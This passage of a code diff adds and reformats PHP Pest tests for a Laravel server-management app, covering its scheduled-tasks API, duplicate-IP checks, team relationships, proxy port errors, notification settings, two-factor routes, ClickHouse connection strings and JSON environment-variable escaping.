use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function authHeaders($bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
describe('GET /api/v1/applications/{uuid}/scheduled-tasks', function () {
|
||||
test('returns empty array when no tasks exist', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson([]);
|
||||
});
|
||||
|
||||
test('returns tasks when they exist', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
ScheduledTask::factory()->create([
|
||||
'application_id' => $application->id,
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'Test Task',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonCount(1);
|
||||
$response->assertJsonFragment(['name' => 'Test Task']);
|
||||
});
|
||||
|
||||
test('returns 404 for unknown application uuid', function () {
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () {
|
||||
test('creates a task with valid data', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
|
||||
'name' => 'Backup',
|
||||
'command' => 'php artisan backup',
|
||||
'frequency' => '0 0 * * *',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonFragment(['name' => 'Backup']);
|
||||
|
||||
$this->assertDatabaseHas('scheduled_tasks', [
|
||||
'name' => 'Backup',
|
||||
'command' => 'php artisan backup',
|
||||
'frequency' => '0 0 * * *',
|
||||
'application_id' => $application->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
test('returns 422 when name is missing', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
|
||||
'command' => 'echo test',
|
||||
'frequency' => '* * * * *',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('returns 422 for invalid cron expression', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
|
||||
'name' => 'Test',
|
||||
'command' => 'echo test',
|
||||
'frequency' => 'not-a-cron',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonPath('errors.frequency.0', 'Invalid cron expression or frequency format.');
|
||||
});
|
||||
|
||||
test('returns 422 when extra fields are present', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
|
||||
'name' => 'Test',
|
||||
'command' => 'echo test',
|
||||
'frequency' => '* * * * *',
|
||||
'unknown_field' => 'value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('defaults timeout and enabled when not provided', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
|
||||
'name' => 'Test',
|
||||
'command' => 'echo test',
|
||||
'frequency' => '* * * * *',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$this->assertDatabaseHas('scheduled_tasks', [
|
||||
'name' => 'Test',
|
||||
'timeout' => 300,
|
||||
'enabled' => true,
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () {
|
||||
test('updates task with partial data', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'application_id' => $application->id,
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'Old Name',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [
|
||||
'name' => 'New Name',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonFragment(['name' => 'New Name']);
|
||||
});
|
||||
|
||||
test('returns 404 when task not found', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [
|
||||
'name' => 'Test',
|
||||
]);
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () {
|
||||
test('deletes task successfully', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'application_id' => $application->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson(['message' => 'Scheduled task deleted.']);
|
||||
|
||||
$this->assertDatabaseMissing('scheduled_tasks', ['uuid' => $task->uuid]);
|
||||
});
|
||||
|
||||
test('returns 404 when task not found', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent");
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('GET /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', function () {
|
||||
test('returns executions for a task', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'application_id' => $application->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
ScheduledTaskExecution::create([
|
||||
'scheduled_task_id' => $task->id,
|
||||
'status' => 'success',
|
||||
'message' => 'OK',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonCount(1);
|
||||
$response->assertJsonFragment(['status' => 'success']);
|
||||
});
|
||||
|
||||
test('returns 404 when task not found', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions");
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Service scheduled tasks API', function () {
|
||||
test('can list tasks for a service', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
ScheduledTask::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'Service Task',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonCount(1);
|
||||
$response->assertJsonFragment(['name' => 'Service Task']);
|
||||
});
|
||||
|
||||
test('can create a task for a service', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [
|
||||
'name' => 'Service Backup',
|
||||
'command' => 'pg_dump',
|
||||
'frequency' => '0 2 * * *',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonFragment(['name' => 'Service Backup']);
|
||||
});
|
||||
|
||||
test('can delete a task for a service', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson(['message' => 'Scheduled task deleted.']);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,110 @@
|
||||
<?php
|
||||
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => 'test-key-content',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
it('detects duplicate ip within the same team', function () {
|
||||
Server::factory()->create([
|
||||
'ip' => '1.2.3.4',
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
]);
|
||||
|
||||
$foundServer = Server::whereIp('1.2.3.4')->first();
|
||||
|
||||
expect($foundServer)->not->toBeNull();
|
||||
expect($foundServer->team_id)->toBe($this->team->id);
|
||||
});
|
||||
|
||||
it('detects duplicate ip from another team', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
|
||||
Server::factory()->create([
|
||||
'ip' => '5.6.7.8',
|
||||
'team_id' => $otherTeam->id,
|
||||
]);
|
||||
|
||||
$foundServer = Server::whereIp('5.6.7.8')->first();
|
||||
|
||||
expect($foundServer)->not->toBeNull();
|
||||
expect($foundServer->team_id)->not->toBe($this->team->id);
|
||||
});
|
||||
|
||||
it('shows correct error message for same team duplicate in boarding', function () {
|
||||
Server::factory()->create([
|
||||
'ip' => '1.2.3.4',
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
]);
|
||||
|
||||
$foundServer = Server::whereIp('1.2.3.4')->first();
|
||||
if ($foundServer->team_id === currentTeam()->id) {
|
||||
$message = 'A server with this IP/Domain already exists in your team.';
|
||||
} else {
|
||||
$message = 'A server with this IP/Domain is already in use by another team.';
|
||||
}
|
||||
|
||||
expect($message)->toBe('A server with this IP/Domain already exists in your team.');
|
||||
});
|
||||
|
||||
it('shows correct error message for other team duplicate in boarding', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
|
||||
Server::factory()->create([
|
||||
'ip' => '5.6.7.8',
|
||||
'team_id' => $otherTeam->id,
|
||||
]);
|
||||
|
||||
$foundServer = Server::whereIp('5.6.7.8')->first();
|
||||
if ($foundServer->team_id === currentTeam()->id) {
|
||||
$message = 'A server with this IP/Domain already exists in your team.';
|
||||
} else {
|
||||
$message = 'A server with this IP/Domain is already in use by another team.';
|
||||
}
|
||||
|
||||
expect($message)->toBe('A server with this IP/Domain is already in use by another team.');
|
||||
});
|
||||
|
||||
it('allows adding ip that does not exist globally', function () {
|
||||
$foundServer = Server::whereIp('10.20.30.40')->first();
|
||||
|
||||
expect($foundServer)->toBeNull();
|
||||
});
|
||||
|
||||
it('enforces global uniqueness not just team-scoped', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
|
||||
Server::factory()->create([
|
||||
'ip' => '9.8.7.6',
|
||||
'team_id' => $otherTeam->id,
|
||||
]);
|
||||
|
||||
// Global check finds the server even though it belongs to another team
|
||||
$foundServer = Server::whereIp('9.8.7.6')->first();
|
||||
expect($foundServer)->not->toBeNull();
|
||||
|
||||
// Team-scoped check would miss it - this is why global check is needed
|
||||
$teamScopedServer = Server::where('team_id', $this->team->id)
|
||||
->where('ip', '9.8.7.6')
|
||||
->first();
|
||||
expect($teamScopedServer)->toBeNull();
|
||||
});
|
||||
@@ -0,0 +1,77 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use App\Models\ServiceDatabase;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('returns the correct team through the service relationship chain', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$project = Project::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'Test Project',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$environment = Environment::create([
|
||||
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
|
||||
'project_id' => $project->id,
|
||||
]);
|
||||
|
||||
$service = Service::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'supabase',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => 1,
|
||||
'destination_type' => 'App\Models\StandaloneDocker',
|
||||
'docker_compose_raw' => 'version: "3"',
|
||||
]);
|
||||
|
||||
$serviceDatabase = ServiceDatabase::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'supabase-db',
|
||||
'service_id' => $service->id,
|
||||
]);
|
||||
|
||||
expect($serviceDatabase->team())->not->toBeNull()
|
||||
->and($serviceDatabase->team()->id)->toBe($team->id);
|
||||
});
|
||||
|
||||
it('returns the correct team for ServiceApplication through the service relationship chain', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$project = Project::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'Test Project',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$environment = Environment::create([
|
||||
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
|
||||
'project_id' => $project->id,
|
||||
]);
|
||||
|
||||
$service = Service::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'supabase',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => 1,
|
||||
'destination_type' => 'App\Models\StandaloneDocker',
|
||||
'docker_compose_raw' => 'version: "3"',
|
||||
]);
|
||||
|
||||
$serviceApplication = ServiceApplication::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'supabase-studio',
|
||||
'service_id' => $service->id,
|
||||
]);
|
||||
|
||||
expect($serviceApplication->team())->not->toBeNull()
|
||||
->and($serviceApplication->team()->id)->toBe($team->id);
|
||||
});
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Database\StartDatabaseProxy;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Notification;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Notification::fake();
|
||||
});
|
||||
|
||||
test('database proxy is disabled on port already allocated error', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'is_public' => true,
|
||||
'public_port' => 5432,
|
||||
]);
|
||||
|
||||
expect($database->is_public)->toBeTrue();
|
||||
|
||||
$action = new StartDatabaseProxy;
|
||||
|
||||
// Use reflection to test the private method directly
|
||||
$method = new ReflectionMethod($action, 'isNonTransientError');
|
||||
|
||||
expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue();
|
||||
expect($method->invoke($action, 'address already in use'))->toBeTrue();
|
||||
expect($method->invoke($action, 'some other error'))->toBeFalse();
|
||||
});
|
||||
|
||||
test('isNonTransientError detects port conflict patterns', function () {
|
||||
$action = new StartDatabaseProxy;
|
||||
$method = new ReflectionMethod($action, 'isNonTransientError');
|
||||
|
||||
expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue()
|
||||
->and($method->invoke($action, 'address already in use'))->toBeTrue()
|
||||
->and($method->invoke($action, 'Bind for 0.0.0.0:3306 failed: port is already allocated'))->toBeTrue()
|
||||
->and($method->invoke($action, 'network timeout'))->toBeFalse()
|
||||
->and($method->invoke($action, 'connection refused'))->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
});
|
||||
|
||||
describe('isAnyNotificationEnabled', function () {
|
||||
test('returns false when no notifications are enabled', function () {
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeFalse();
|
||||
});
|
||||
|
||||
test('returns true when email notifications are enabled', function () {
|
||||
$this->team->emailNotificationSettings->update(['smtp_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns true when discord notifications are enabled', function () {
|
||||
$this->team->discordNotificationSettings->update(['discord_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns true when slack notifications are enabled', function () {
|
||||
$this->team->slackNotificationSettings->update(['slack_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns true when telegram notifications are enabled', function () {
|
||||
$this->team->telegramNotificationSettings->update(['telegram_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns true when pushover notifications are enabled', function () {
|
||||
$this->team->pushoverNotificationSettings->update(['pushover_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns true when webhook notifications are enabled', function () {
|
||||
$this->team->webhookNotificationSettings->update(['webhook_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,65 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->personal()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
it('allows unauthenticated access to two-factor-challenge page', function () {
|
||||
$response = $this->get('/two-factor-challenge');
|
||||
|
||||
// Fortify returns a redirect to /login if there's no login.id in session,
|
||||
// but the important thing is it does NOT return a 419 or 500
|
||||
expect($response->status())->toBeIn([200, 302]);
|
||||
});
|
||||
|
||||
it('includes two-factor-challenge in allowed paths for unsubscribed accounts', function () {
|
||||
$paths = allowedPathsForUnsubscribedAccounts();
|
||||
|
||||
expect($paths)->toContain('two-factor-challenge');
|
||||
});
|
||||
|
||||
it('includes two-factor-challenge in allowed paths for invalid accounts', function () {
|
||||
$paths = allowedPathsForInvalidAccounts();
|
||||
|
||||
expect($paths)->toContain('two-factor-challenge');
|
||||
});
|
||||
|
||||
it('includes two-factor-challenge in allowed paths for boarding accounts', function () {
|
||||
$paths = allowedPathsForBoardingAccounts();
|
||||
|
||||
expect($paths)->toContain('two-factor-challenge');
|
||||
});
|
||||
|
||||
it('does not redirect authenticated user with force_password_reset from two-factor-challenge', function () {
|
||||
$this->user->update(['force_password_reset' => true]);
|
||||
|
||||
$response = $this->actingAs($this->user)->get('/two-factor-challenge');
|
||||
|
||||
// Should NOT redirect to force-password-reset page
|
||||
if ($response->isRedirect()) {
|
||||
expect($response->headers->get('Location'))->not->toContain('force-password-reset');
|
||||
}
|
||||
});
|
||||
|
||||
it('renders 419 error page with login link instead of previous url', function () {
|
||||
$response = $this->get('/two-factor-challenge', [
|
||||
'X-CSRF-TOKEN' => 'invalid-token',
|
||||
]);
|
||||
|
||||
// The 419 page should exist and contain a link to /login
|
||||
$view = view('errors.419')->render();
|
||||
|
||||
expect($view)->toContain('/login');
|
||||
expect($view)->toContain('Back to Login');
|
||||
expect($view)->toContain('This page is definitely old, not like you!');
|
||||
expect($view)->not->toContain('url()->previous()');
|
||||
});
|
||||
+20
-1
@@ -1,5 +1,8 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use Illuminate\Support\Once;
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Test Case
|
||||
@@ -10,7 +13,23 @@
|
||||
| need to change it using the "uses()" function to bind a different classes or traits.
|
||||
|
|
||||
*/
|
||||
uses(Tests\TestCase::class)->in('Feature');
|
||||
uses(Tests\TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser');
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Test Hooks
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Global hooks that run before/after each test.
|
||||
|
|
||||
*/
|
||||
beforeEach(function () {
|
||||
// Flush the Once memoization cache to ensure tests get fresh data
|
||||
Once::flush();
|
||||
|
||||
// Flush the Server identity map cache to ensure tests get fresh data
|
||||
Server::flushIdentityMap();
|
||||
});
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
|
||||
it('treats zero private key id as deploy key', function () {
|
||||
$application = new Application();
|
||||
$application->private_key_id = 0;
|
||||
$application->source = null;
|
||||
|
||||
expect($application->deploymentType())->toBe('deploy_key');
|
||||
});
|
||||
@@ -3,7 +3,7 @@
|
||||
use App\Models\StandaloneClickhouse;
|
||||
|
||||
test('clickhouse uses clickhouse_db field in internal connection string', function () {
|
||||
$clickhouse = new StandaloneClickhouse();
|
||||
$clickhouse = new StandaloneClickhouse;
|
||||
$clickhouse->clickhouse_admin_user = 'testuser';
|
||||
$clickhouse->clickhouse_admin_password = 'testpass';
|
||||
$clickhouse->clickhouse_db = 'mydb';
|
||||
@@ -18,7 +18,7 @@ test('clickhouse uses clickhouse_db field in internal connection string', functi
|
||||
});
|
||||
|
||||
test('clickhouse defaults to default database when clickhouse_db is null', function () {
|
||||
$clickhouse = new StandaloneClickhouse();
|
||||
$clickhouse = new StandaloneClickhouse;
|
||||
$clickhouse->clickhouse_admin_user = 'testuser';
|
||||
$clickhouse->clickhouse_admin_password = 'testpass';
|
||||
$clickhouse->clickhouse_db = null;
|
||||
@@ -30,7 +30,7 @@ test('clickhouse defaults to default database when clickhouse_db is null', funct
|
||||
});
|
||||
|
||||
test('clickhouse external url uses correct database', function () {
|
||||
$clickhouse = new StandaloneClickhouse();
|
||||
$clickhouse = new StandaloneClickhouse;
|
||||
$clickhouse->clickhouse_admin_user = 'admin';
|
||||
$clickhouse->clickhouse_admin_password = 'secret';
|
||||
$clickhouse->clickhouse_db = 'production';
|
||||
@@ -38,12 +38,19 @@ test('clickhouse external url uses correct database', function () {
|
||||
$clickhouse->is_public = true;
|
||||
$clickhouse->public_port = 8123;
|
||||
|
||||
$clickhouse->destination = new class {
|
||||
$clickhouse->destination = new class
|
||||
{
|
||||
public $server;
|
||||
public function __construct() {
|
||||
$this->server = new class {
|
||||
public function __get($name) {
|
||||
if ($name === 'getIp') return '1.2.3.4';
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
$this->server = new class
|
||||
{
|
||||
public function __get($name)
|
||||
{
|
||||
if ($name === 'getIp') {
|
||||
return '1.2.3.4';
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
<?php
|
||||
|
||||
use App\Models\EnvironmentVariable;
|
||||
|
||||
/**
|
||||
* Tests for GitHub Issue #6160: COMPOSER_AUTH environment variable escaping.
|
||||
*
|
||||
* PR #6146 moved escaping into the EnvironmentVariable::realValue() accessor,
|
||||
* causing double-escaping for build-time vars and broken JSON for runtime vars.
|
||||
*
|
||||
* Fix: JSON objects/arrays detected in realValue() skip escaping entirely.
|
||||
*/
|
||||
const COMPOSER_AUTH_JSON = '{"http-basic":{"backpackforlaravel.com":{"username":"ourusername","password":"ourpassword"}}}';
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Test 1: realValue accessor returns raw JSON for non-literal env vars
|
||||
// ---------------------------------------------------------------------------
|
||||
it('realValue accessor returns raw JSON without escaping quotes', function () {
|
||||
$env = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);
|
||||
$env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);
|
||||
$env->shouldReceive('getAttribute')->with('value')->andReturn(COMPOSER_AUTH_JSON);
|
||||
$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(false);
|
||||
$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);
|
||||
|
||||
$realValue = $env->real_value;
|
||||
|
||||
// JSON should pass through without escaping
|
||||
expect($realValue)->toBe(COMPOSER_AUTH_JSON);
|
||||
expect($realValue)->not->toContain('\\"');
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Test 2: realValue for a literal JSON env also returns raw JSON
|
||||
// (JSON check fires before the literal single-quote wrapping)
|
||||
// ---------------------------------------------------------------------------
|
